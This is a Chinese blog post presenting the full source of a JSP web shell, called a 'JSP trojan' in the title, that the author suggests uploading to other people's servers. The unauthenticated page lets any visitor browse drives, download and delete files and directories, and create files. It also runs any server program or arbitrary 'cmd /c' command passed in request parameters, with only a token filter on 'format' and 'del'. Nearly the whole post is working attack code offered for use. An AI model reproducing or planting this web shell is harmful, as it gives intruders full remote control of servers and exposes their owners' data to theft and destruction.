传说中的JSP木马!JSP资源管理器.

来源:互联网 发布:linux切换中文 编辑:程序博客网 时间:2024/05/05 14:07

 其实这不能算是木马了.不过如果能上传到某个垃圾服务器上倒是可以做很多事.呵呵.

下面是程序原代码:  文件名 adminIndex.jsp

注意:这里用到了一个包. org.apache.commons.fileupload.*

如果你有了这个包,可以把 页面中 注释的部分去掉.即可实现文件上传功能.

这个是上传文件用的包 commons-fileupload-1.0.jar 可以到 apache 网站上去找.

因为当初的想法是想把所有功能都写到一个文件里.这样方便上传.呵呵.所以搞得这JSP又长又臭.有不合理之处还请指教. EMAIL: tianlinlj@126.com 

<%
   //作者:laobu 
   //Email: tianlinlj@126.com
   //参考:慈勤强:JSP文件管理器0.5版本 http://www.webasp.net/article/15/14295.htm
%>
<%@ page contentType="text/html;charset=gb2312"%>
<%//@ page import="org.apache.commons.fileupload.*" %>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<style>
   td,select,input,body{ font-size:9pt; }
   A { TEXT-DECORATION: none }
</style>
<script>
 function showNewsFiles(path){
  var str = prompt("请输入新建文件夹的名称:","") ;
  str = str.replace(/(^/s*)|(/s*$)/g, "");
  if(str!=null&&str.length>0){
     var message = confirm("新建文件夹:<"+str+">");
     if(message==true) window.location.href="?news=files&path="+path+"&filesName="+str;  
  }else{
   alert("对不起,您输入了错误的文件夹名称!");
  }
 }
 function showNewsFile(path){
  var str = prompt("请输入新建文件的名称:","") ;
  str = str.replace(/(^/s*)|(/s*$)/g, "");
  if(str!=null&&str.length>0){
   var message = confirm("新建文件:<"+str+">");
   if(message==true) window.location.href="?news=file&path="+path+"&fileName="+str; 
  }else{
   alert("对不起,您输入了错误的文件名!");
  }
 }
 function delFile(path){  
  var i = path.lastIndexOf("/");
  if(i!=-1){   
   var strPath = path.substring(0,i);
   var delDirectory = path.substring(i+1);
   if(delDirectory==null||delDirectory==""){
    alert("对不起,这个文件夹无法删除!");
   }else{
      var message = confirm("要删除文件夹 <"+delDirectory+"> 吗?");
      if(message==true) window.location.href="?path="+strPath+"&delDirectory="+path;
   }   
  }
 }
</script>

<title>LaoBu资源管理器</title>
<%!
   //Windows系统上取得可用的所有逻辑盘
  String getDrivers(){
     StringBuffer sb = new StringBuffer("驱动器 : ");
     File roots[] = File.listRoots();
     for(int i = 0; i < roots.length; i++) {
        sb.append("<a href='?path=" + roots[i] + "'>");
        sb.append(roots[i] + "</a> &nbsp;&nbsp;");
     }
     return sb.toString();
  }

  //用于删除文件夹
  boolean delFile(String delFilesUrl){
     try{
   File delFiles = new File(delFilesUrl);
   File[] files = delFiles.listFiles();
   for(int i=0;i<files.length;i++){
      if(files[i].isDirectory()){
       delFile(delFiles+"//"+files[i].getName());     
    }else{
     files[i].delete();
    }
   }
   delFiles.delete();
   return true;
  }catch(Exception ex){return false;}  
   }
%>
<%
   String message = "操作提示:";
   String userIp = (String)session.getAttribute("userIp");
   String strIp = request.getRemoteHost();
   if(userIp==null||userIp.trim().length()==0||!userIp.equals(strIp)){
      System.out.println("用户 "+strIp+" 登陆!");
      session.setAttribute("userIp",strIp);     
      message = "欢迎:" + strIp;     
   }
%>
<%
   //得到要删除的文件的文件名字和路径
   String delFile = request.getParameter("delFile"); 
   if(delFile!=null&&!delFile.equals("")){
      delFile = new String(delFile.getBytes("ISO-8859-1"), "GB2312");
  System.out.println(userIp+":删除文件:"+delFile);
      try{  
         File file = new File(delFile);
         if(file.delete()){
    message = message + "<font color=blue>删除&nbsp;<b>"+ delFile+ "</b>&nbsp;文件成功!</font>";
         }else{
    message = message + "<font color=red>删除&nbsp;<b>"+ delFile+ "</b>&nbsp;文件失败!</font>";
         }
      }catch(Exception ex){}
   }
%>
<%
   //得到要删除的文件夹的文件名字和路径
   String delDirectory = request.getParameter("delDirectory");  
   if(delDirectory!=null&&!delDirectory.equals("")){
      delDirectory = new String(delDirectory.getBytes("ISO-8859-1"), "GB2312");
  delDirectory = delDirectory.replace('/','//');
  System.out.println(userIp + ":删除文件夹:"+delDirectory);
      try{  
         boolean ok = delFile(delDirectory);
         if(ok){
    message = message + "<font color=blue>删除&nbsp;<b>"+ delDirectory+ "</b>&nbsp;文件夹成功!</font>";
         }else{
    message = message + "<font color=red>删除&nbsp;<b>"+ delDirectory+ "</b>&nbsp;文件夹失败!</font>";
         }
      }catch(Exception ex){}
   }
%>
<%
   //文件下载
 String downFile = request.getParameter("file");  
   if(downFile!=null&&!downFile.equals("")){
      String filename = downFile.substring(downFile.lastIndexOf("//")+1);
      downFile = new String(downFile.getBytes("ISO-8859-1"), "GB2312");
  //String filename = downFile.substring(downFile.lastIndexOf("//")+1);
  BufferedInputStream bis = new BufferedInputStream(new FileInputStream(downFile));
  byte[] buf = new byte[1024];
  int len = 0;
  OutputStream os = response.getOutputStream();
  response.reset(); //非常重要
   
  //纯下载方式  
  response.setHeader("Content-Disposition", "attachment; filename=/"" + filename+"/"");
  response.setContentType("bin;charset=iso8859_1");
  
  while((len = bis.read(buf)) >0) os.write(buf,0,len);
  System.out.println(userIp+":下载:"+filename);
  bis.close();
  os.close();
 }
%>
<%
   //上传文件    需要 common-fileupload 组件
   /*
   String up = request.getParameter("up");
 if(up!=null&&up.equals("true")){
  try{
     String temp = "c://";    //临时目录
     String strUp = request.getParameter("path"); //上传目标地址
     if(strUp!=null&&!strUp.equals("")){
    strUp = new String(strUp.getBytes("ISO-8859-1"), "GB2312");
     }
     DiskFileUpload fu = new DiskFileUpload();
     fu.setSizeMax(1024*1024*1024);   // 设置允许用户上传文件大小,单位:字节
     fu.setSizeThreshold(4096);       // 设置最多只允许在内存中存储的数据,单位:字节
     fu.setRepositoryPath(temp);      // 设置一旦文件大小超过getSizeThreshold()的值时数据存放在硬盘的目录

     //开始读取上传信息
     List fileItems = fu.parseRequest(request);
     Iterator iter = fileItems.iterator();     // 依次处理每个上传的文件
     while(iter.hasNext()) {
      FileItem item = (FileItem) iter.next();// 忽略其他不是文件域的所有表单信息
      if(!item.isFormField()){
     String name = item.getName();       //获取上传文件名,包括路径
     name = name.substring(name.lastIndexOf("//")+1);//从全路径中提取文件名
     long size = item.getSize();
     if((name==null||name.equals("")) && size==0)
     continue;
     System.out.println(userIp+":上传文件:"+name+"到"+strUp);//输出上传文件信息
    
     File fNew= new File(strUp, name);
     item.write(fNew);
     message = message + "<font color=blue>文件&nbsp;<b>"+item.getName()+"</b>&nbsp;上传成功!</font>";
      }
     }
  }catch(Exception ex){
   message = message + "<font color=red>文件上传失败!</font>";
  }
     
 }*/
%>
<%
   //新建文件及文件夹
   String news = request.getParameter("news");
 if(news!=null&&news.equals("files")){
  
  String strNewsFiles = request.getParameter("path"); //上传目标地址
  if(strNewsFiles!=null&&!strNewsFiles.equals("")){
     strNewsFiles = new String(strNewsFiles.getBytes("ISO-8859-1"), "GB2312");
   strNewsFiles = strNewsFiles.replace('/','//');
  }
  String strFilesName = request.getParameter("filesName"); //文件名
  if(strFilesName!=null&&!strFilesName.equals("")){
   strFilesName = new String(strFilesName.getBytes("ISO-8859-1"), "GB2312");
  }

  try{
   File newsFiles = new File(strNewsFiles,strFilesName);
   if(!newsFiles.exists()) newsFiles.mkdir();
   System.out.println(userIp+":新建文件夹:"+strNewsFiles+"//"+strFilesName);
   message = message + "<font color=blue>成功新建文件夹!</font>";
  }catch(Exception ex){
   message = message + "<font color=red>新建文件夹失败!</font>";
  }
 }else if(news!=null&&news.equals("file")){
  
  String strNewsFile = request.getParameter("path"); //上传目标地址
  if(strNewsFile!=null&&!strNewsFile.equals("")){
     strNewsFile = new String(strNewsFile.getBytes("ISO-8859-1"), "GB2312");
   strNewsFile = strNewsFile.replace('/','//');
  }
  String strFileName = request.getParameter("fileName"); //文件名
  if(strFileName!=null&&!strFileName.equals("")){
   strFileName = new String(strFileName.getBytes("ISO-8859-1"), "GB2312");
  }
  
  try{
     File newsFile = new File(strNewsFile,strFileName);
   if(!newsFile.exists()) newsFile.createNewFile();
   System.out.println(userIp+":新建文件:"+strNewsFile+"//"+strFileName);
   message = message + "<font color=blue>成功新建文件!</font>";
  }catch(Exception ex){
   message = message + "<font color=red>新建文件失败!</font>";
  }
 }
%>
<%
   //运行服务器端程序
   String runFile = request.getParameter("runFile");  
   if(runFile!=null&&!runFile.equals("")){
      runFile = new String(runFile.getBytes("ISO-8859-1"), "GB2312");
  System.out.println(userIp+":运行文件:"+runFile);
      try{  
         Runtime.getRuntime().exec("cmd /c " + runFile);
      }catch(Exception ex){}
   }
%>
<table border=0 width='100%'><tr><td width='50%'><%=message%></td><td>网页资源管理器!大哥、大姐:请不要删除文件、文件夹。文件筹得不容易啊!谢谢!</td></tr></table>
<%
   //页面
   String strThisFile = "adminIndex.jsp";
   request.setCharacterEncoding("gb2312");
   String strDir = request.getParameter("path");
   if(strDir!=null&&!strDir.equals("")){
  strDir = new String(strDir.getBytes("ISO-8859-1"), "GB2312");
  strDir = strDir.replace('/','//');
 }

   if(strDir == null || strDir.length() < 1){
      strDir = "c://";
   }
   StringBuffer sb = new StringBuffer("");
   StringBuffer sbFile = new StringBuffer("");
   try{
      File objFile = new File(strDir);
      File list[] = objFile.listFiles();

      out.println("<table border=1 width='100%' bgcolor='#F1f1f1'><tr>");
      out.println("<td width='40%'>当前目录: <b>"+ strDir+ "</b></td>");
      out.println("<td width='35%'>"+ getDrivers()+ "</td>");
      out.println("<td width='25%' align='center'>");
  out.println("&nbsp;<a href='print.jsp'>观看服务器屏幕</a>");
      out.println("&nbsp;</td></tr></table><br>/r/n");

      if (objFile.getAbsolutePath().length() > 3) {
         sb.append("<tr><td >&nbsp;</td><td><a href='?path="+ objFile.getParentFile().getAbsolutePath() + "'>");
         sb.append("上级目录</a><br>- - - - - - - - - - - </td></tr>/r/n");
      }
      for(int i = 0; i < list.length; i++){
         if(list[i].isDirectory()) {
            sb.append("<tr><td >&nbsp;</td><td>");
            sb.append("-> <a href='?path=" + list[i].getAbsolutePath()+ "'>" + list[i].getName() + "</a>");
            sb.append("</td></tr>");
         }else{
            String strLen = "";
            String strDT = "";
            long lFile = 0;
            lFile = list[i].length();

            if(lFile > 1000000){
                lFile = lFile / 1000000;
                strLen = "" + lFile + " M";
            }else if (lFile > 1000) {
                lFile = lFile / 1000;
                strLen = "" + lFile + " K";
            }else {
                strLen = "" + lFile + " Byte";
            }
            Date dt = new Date(list[i].lastModified());
            strDT = dt.toLocaleString();
            sbFile.append("<tr><td>");
            sbFile.append("" + list[i].getName());
            sbFile.append("</td><td>");
            sbFile.append("" + strLen);
            sbFile.append("</td><td>");
            sbFile.append("" + strDT);
            sbFile.append("</td><td align='center'>");
    sbFile.append("<a href='?path="+strDir+"&delFile="+strDir+"//"+list[i].getName()+"' onclick=/"javascript:return confirm('真的要删除文件 &lt;"+list[i].getName()+"&gt; 吗?')/">删除</a>&nbsp;&nbsp;");
    sbFile.append("<a href='?file="+strDir+"//"+list[i].getName()+"'>下载</a>&nbsp;&nbsp;");
    //if(list[i].getName().endsWith(".exe"))
    sbFile.append("<a href='?path="+strDir+"&runFile="+strDir+"//"+list[i].getName()+"' onclick=/"javascript:return confirm('要在服务器上运行文件 &lt;"+list[i].getName()+"&gt; 吗?')/">运行</a> ");
            sbFile.append("</td></tr>/r/n");
         }
      }
   }catch(Exception e){
      out.println("<font color=red>操作失败: " + e.toString() + "</font>");
   }
%>

<table width="100%" border="1" cellspacing="0" cellpadding="5"
 bordercolorlight="#000000" bordercolordark="#FFFFFF">
 <tr>
  <td width="25%" align="center" valign="top">
     <table width="100%" border="0" cellspacing="0" cellpadding="2"  bgcolor='#F1f1f1'>
        <%=sb%>
     </table>
  </td>
  <td width="81%" align="center" valign="top">
     <table width="98%" border="1" cellspacing="1" cellpadding="4"
   bordercolorlight="#cccccc" bordercolordark="#FFFFFF">
      <tr bgcolor="#E7e7e6">
       <td width="26%">文件名称</td>
       <td width="19%" align="center">文件大小</td>
       <td width="30%" align="center">修改时间</td>
       <td width="25%" align="center">文件操作</td>
      </tr>
      <%=sbFile%>
   </table>
   <table><tr><td>&nbsp;</td></tr></table>
   <table width="98%" border="1" cellspacing="1" cellpadding="4"
   bordercolorlight="#cccccc" bordercolordark="#FFFFFF">
      <form name="UploadForm" enctype="multipart/form-data" method="post" action="?up=true&path=<%=strDir%>">
         <tr bgcolor="#E7e7e6">
      <td width="26%"> 
       <input type="file" name="File1" size="42" maxlength="5">
       <input type="submit" value="上传文件">
       <input type="button" value="新建文件"
       onClick="showNewsFile('<%=strDir.replace('//','/')%>')">
       <input type="button" value="新建文件夹"
       onClick="showNewsFiles('<%=strDir.replace('//','/')%>')">
       <input type="button" value="删除该文件夹"
       onClick="delFile('<%=strDir.replace('//','/')%>')">
      </td>
         </tr>
    </form>
   </table>
  </td>
 </tr>
</table>

<%
   String strCmd = "";
   String line = "";
   StringBuffer sbCmd = new StringBuffer("");
   strCmd = request.getParameter("cmd");
 int i = -1;
 int j = -1;
 if(strCmd!=null){
  System.out.println(userIp+":执行命令: "+strCmd);
  i = strCmd.toLowerCase().indexOf("format");
  j = strCmd.toLowerCase().indexOf("del");
 }
 if(i>=0||j>=0) {
  strCmd = "老大!";
  sbCmd.append("放我一马好不好,资料筹得不容易啊。给你弄没了我还用活呀!");   
 }
   if(strCmd != null){
      try{
   Process p = Runtime.getRuntime().exec("cmd /c " + strCmd);
         BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
         while((line = br.readLine()) != null){
            sbCmd.append(line + "/r/n");
         }
      }catch (Exception e) {
         System.out.println(e.toString());
      }
   }
%>
<form name="cmd" action="" method="post"><input type="text" name="cmd"
 value="<%=strCmd%>" size=50> <input type=submit name=submit value="执行命令">
</form>
<%
   if (sbCmd != null && sbCmd.toString().trim().equals("") == false){
%>
      <TEXTAREA NAME="cqq" ROWS="20" COLS="100%"><%=sbCmd.toString()%></TEXTAREA>
<%
   }
%>

原创粉丝点击